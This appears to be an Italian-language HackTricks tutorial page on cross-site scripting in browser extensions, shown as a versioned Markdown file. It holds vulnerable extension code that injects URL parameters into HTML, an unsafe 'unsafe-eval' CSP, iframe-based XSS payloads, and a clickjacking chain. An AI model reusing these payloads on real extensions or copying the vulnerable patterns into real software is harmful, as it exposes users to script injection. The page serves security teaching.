hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

121 lines
7.5 KiB
Markdown
Raw Normal View History

2024-02-10 13:03:23 +00:00
# BrowExt - Esempio di XSS
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-31 01:25:17 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
2024-02-10 13:03:23 +00:00
## Cross-Site Scripting (XSS) tramite Iframe
2024-02-10 13:03:23 +00:00
In questa configurazione, uno **script di contenuto** viene implementato per istanziare un Iframe, incorporando un URL con parametri di query come origine dell'Iframe:
```javascript
2024-02-05 20:00:40 +00:00
chrome.storage.local.get("message", result => {
2024-02-10 13:03:23 +00:00
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
```
2024-02-10 13:03:23 +00:00
Una pagina HTML accessibile pubblicamente, **`message.html`**, è progettata per aggiungere dinamicamente contenuto al corpo del documento in base ai parametri presenti nell'URL:
2024-02-05 20:00:40 +00:00
```javascript
$(document).ready(() => {
2024-02-10 13:03:23 +00:00
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
```
2024-02-10 13:03:23 +00:00
Un script maligno viene eseguito su una pagina dell'avversario, modificando il parametro `content` della sorgente dell'Iframe per introdurre un **payload XSS**. Ciò viene ottenuto aggiornando la sorgente dell'Iframe per includere uno script dannoso:
```javascript
2024-02-05 20:00:40 +00:00
setTimeout(() => {
2024-02-10 13:03:23 +00:00
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
2024-02-10 13:03:23 +00:00
document.querySelector("iframe").src = maliciousURL;
}, 1000);
```
2024-02-10 13:03:23 +00:00
Una Content Security Policy eccessivamente permissiva come:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
2024-02-10 13:03:23 +00:00
consente l'esecuzione di JavaScript, rendendo il sistema vulnerabile agli attacchi XSS.
2024-02-10 13:03:23 +00:00
Un approccio alternativo per provocare l'XSS consiste nel creare un elemento Iframe e impostare la sua origine per includere lo script dannoso come parametro `content`:
```javascript
2024-02-05 20:00:40 +00:00
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
2024-02-10 13:03:23 +00:00
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
2024-02-05 20:00:40 +00:00
document.body.append(newFrame);
```
## DOM-based XSS + ClickJacking
2024-02-10 13:03:23 +00:00
Questo esempio è stato preso dal [post originale](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) scritto da The Hacker Blog.
2024-02-10 13:03:23 +00:00
Il problema principale deriva da una vulnerabilità di Cross-site Scripting (XSS) basata sul DOM situata in **`/html/bookmarks.html`**. Lo script JavaScript problematico, parte di **`bookmarks.js`**, è dettagliato di seguito:
```javascript
2024-02-05 20:00:40 +00:00
$('#btAdd').on('click', function() {
2024-02-10 13:03:23 +00:00
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
```
2024-02-10 13:03:23 +00:00
Questo frammento recupera il **valore** dal campo di input **`txtName`** e utilizza la **concatenazione di stringhe per generare HTML**, che viene quindi aggiunto al DOM utilizzando la funzione `.append()` di jQuery.
2024-02-10 13:03:23 +00:00
Di solito, la Content Security Policy (CSP) dell'estensione di Chrome impedirebbe tali vulnerabilità. Tuttavia, a causa del **rilassamento della CSP con 'unsafe-eval'** e dell'uso dei metodi di manipolazione del DOM di jQuery (che utilizzano [`globalEval()`](https://api.jquery.com/jquery.globaleval/) per passare script a [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) durante l'inserimento nel DOM), l'exploit è comunque possibile.
2024-02-10 13:03:23 +00:00
Sebbene questa vulnerabilità sia significativa, la sua sfruttabilità dipende solitamente dall'interazione dell'utente: visitare la pagina, inserire un payload XSS e attivare il pulsante "Aggiungi".
2024-02-10 13:03:23 +00:00
Per migliorare questa vulnerabilità, viene sfruttata una secondaria vulnerabilità di **clickjacking**. Il manifesto dell'estensione di Chrome mostra una politica `web_accessible_resources` estesa:
```json
"web_accessible_resources": [
2024-02-10 13:03:23 +00:00
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
```
2024-02-10 13:03:23 +00:00
In particolare, la pagina **`/html/bookmarks.html`** è vulnerabile al framing, quindi suscettibile a **clickjacking**. Questa vulnerabilità viene sfruttata per incorniciare la pagina all'interno del sito di un attaccante, sovrapponendola con elementi DOM per ridisegnare l'interfaccia in modo ingannevole. Questa manipolazione porta le vittime a interagire involontariamente con l'estensione sottostante.
2024-02-10 13:03:23 +00:00
## Riferimenti
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-31 01:25:17 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>